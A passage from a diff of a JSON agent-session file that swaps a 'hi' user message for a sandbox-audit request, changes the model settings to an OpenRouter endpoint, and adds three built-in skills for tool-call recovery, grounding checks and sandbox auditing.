tools\",\"confidence\":0.85,\"evidence\":[{\"textLength\":224,\"toolCalls\":[],\"toolErrorCount\":0}]}},{\"name\":\"stream_complete\",\"timestampMs\":1782099288778,\"data\":{\"usedTool\":false,\"completionStatus\":\"completed\",\"assistantLength\":224}}],\"spans\":[{\"name\":\"llm_call\",\"stepId\":\"step_1\",\"startMs\":1782099286405,\"endMs\":1782099288777,\"status\":\"ok\",\"data\":{\"turn\":0,\"model\":\"default\",\"tokensUsed\":{\"prompt\":2234,\"completion\":130,\"total\":2364},\"toolCalls\":0},\"durationMs\":2372}]},\"executedActions\":[]}"
|
|
295
|
-
},
|
|
296
|
-
{
|
|
297
|
-
"id": "82c95340-1d74-49fe-abe7-2184aeab9f8c",
|
|
298
|
-
"chatId": "4e997d62-20ef-4937-a866-27778dee3a17",
|
|
299
|
-
"role": "user",
|
|
300
|
-
"content": "hi",
|
|
301
|
-
"createdAt": "2026-06-22T03:34:46.403Z",
|
|
201
|
+
"content": "Audit this sandbox workspace and generate audit-report.md.",
|
|
202
|
+
"createdAt": "2026-11-17T08:20:00.000Z",
|
|
302
203
|
"messageMetadata": null
|
|
303
204
|
}
|
|
304
205
|
]
|
|
305
206
|
},
|
|
306
207
|
"llmSettings": {
|
|
307
208
|
"provider": "openai-compat",
|
|
308
|
-
"
|
|
309
|
-
"
|
|
209
|
+
"vendorId": "openrouter",
|
|
210
|
+
"model": "glm-5.3-flash",
|
|
211
|
+
"baseUrl": "https://openrouter.ai/api/v1",
|
|
310
212
|
"apiKey": "",
|
|
311
213
|
"temperature": 0.3,
|
|
312
|
-
"
|
|
214
|
+
"maxTotalTokens": 60000
|
|
313
215
|
},
|
|
314
|
-
"skills": [
|
|
216
|
+
"skills": [
|
|
217
|
+
{
|
|
218
|
+
"name": "tool-recovery",
|
|
219
|
+
"description": "Parses malformed XML and text tool calls into structured dispatches.",
|
|
220
|
+
"builtin": true
|
|
221
|
+
},
|
|
222
|
+
{
|
|
223
|
+
"name": "grounding-judge",
|
|
224
|
+
"description": "Verifies completion drafts against observed tool outputs before delivery.",
|
|
225
|
+
"builtin": true
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
"name": "sandbox-audit",
|
|
229
|
+
"description": "Inspects OS confinement and egress allow-list posture.",
|
|
230
|
+
"builtin": true
|
|
231
|
+
}
|
|
232
|
+
]
|
|
315
233
|
}
|